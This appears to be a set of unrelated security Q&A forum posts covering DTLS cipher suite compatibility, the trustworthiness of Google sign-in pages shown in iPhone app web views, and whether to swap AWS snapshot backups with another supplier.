EDIT: I worded my question poorly and too general. I found a question, which answers me after looking into it with better search terms.

The section you linked to says that the NULL cipher (no encryption) works the same as in TLS, and that RC4 (the only stream cipher in TLS 1.2) cannot be used for DTLS.

The next three subsections indicate that block ciphers and AEAD ciphers work exactly the same in DTLS as in TLS, and that new cipher suits must specify if they are suitable for DTLS along with what changes, if any, would need to be made.


How am I supposed to verify the origin of a sign-in page in a web view? I just had to sign in into my google account in an iPhone app. It's a third party, that only uses the google account for authentication. The familiar google sign in page appeared in what is known as a "web view", that is a browser that is embedded into the application. The problem I am seeing here is that I don't see the URL that is being loaded into the web view. It could be a page on a completely different domain that just looks like the google sign in page. Even if it did show a URL, I couldn't be sure that it actually is what it claims to be, because you could just make it look like it loads google.com even if it didn't.
Should the sign in page not be loaded in the actual system browser, which I do trust and where I can see the URL and the certificate, and then somehow redirect back to the app?

The only way I can think of is by installing MITMProxy on my computer and watch the traffic as I sign in to confirm that my password is really only transmitted to google. That's not very practical though.

Is there a better practice than the sign-in via web view for (iPhone) apps?

Unfortunately this is how the sad state of the internet is now. With single sign on, it is how it works. The only way to be sure there isn't any side offloading of the sign in is to link the data submission with the remote host, buy even then there could be a cluster of outgoing submissions.


Sync AWS snapshots to secondary account - supplier ask for "swap" - security theathre? I'm managing an AWS account for a specific purpose for a company of 120 people. Another supplier of this company of around 5 people also has an AWS account.
To protect resources in an AWS account from malicious deletion, it is recommended to synchronise disk snapshots to a secondary account.
The other supplier has approached us to do a swap for this purpose: In their mind we are to store their secondary snapshot copies in our AWS account and they will store our secondary snapshots in their AWS account.
Apart from the commercial considerations - this sounds like security theathre to me? Isn't it just as good to find a second person at each of our organisations who has the login to a separate AWS account and synchronise our snapshots to that. This also resolves issues such as

if they are supposed to automatically have access to everything we do (or we cannot back it up to another account)
what happens if their supplier relationship goes sour
the complexity of contacting the right person, which seems naturally easier within the same company

This is a bad idea to trust the third party supplier if you don not have to.
Use the principal of least priviledge.
Create your secondary account yourself, and lock the account credentials away in your business safe/lawyers office (and not in your operational password safes).
This will give the same backup advantages without the downside of trusting a(nother) third party (other than Amazon).
In general I appreciate the approach you are taking and think it is a cheap backup to avoid an ugly and probably rare problem.